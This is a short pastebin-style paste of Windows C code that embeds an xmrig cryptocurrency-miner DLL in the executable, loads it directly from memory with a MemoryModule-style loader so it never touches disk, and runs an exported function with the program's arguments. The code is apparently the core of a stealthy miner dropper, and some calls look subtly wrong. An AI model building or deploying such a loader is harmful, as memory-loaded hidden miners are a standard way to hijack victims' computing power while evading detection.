Untitled
unknown
plain_text
4 years ago
958 B
1
Indexable
extern char __binary_xmrig_dll_start; extern char __binary_xmrig_dll_end; extern char __binary_xmrig_dll_size; typedef int(WINAPI* XMProc)(int, char**); #include <stdio.h> #include <windows.h> int main(int argc, char **argv) { printf("starting..."); char* p = &__binary_xmrig_dll_start; char *pp = &__binary_xmrig_dll_start; int l = 0; LPTSTR cmd = GetCommandLine(); printf("cmd = > %s\n", cmd); //MemoryLoadLibraryEx HMEMORYMODULE memModule = MemoryLoadLibrary(p, ((INT_PTR)&__binary_xmrig_dll_end)-((INT_PTR)&__binary_xmrig_dll_start)); //XMProc xf = (XMProc)MemoryGetProcAddress(memModule, "some"); //XMProc xx; FARPROC xf = (XMProc)MemoryDefaultGetProcAddress(memModule, "some", cmd); if(memModule == NULL) { printf("error %d", GetLastError()); } if(xf == NULL) { printf("error %d", GetLastError()); }else{ printf("loaded\n"); } (xf)(argc, argv); //return 0; //MemoryGetProcAddress(); }
Editor is loading...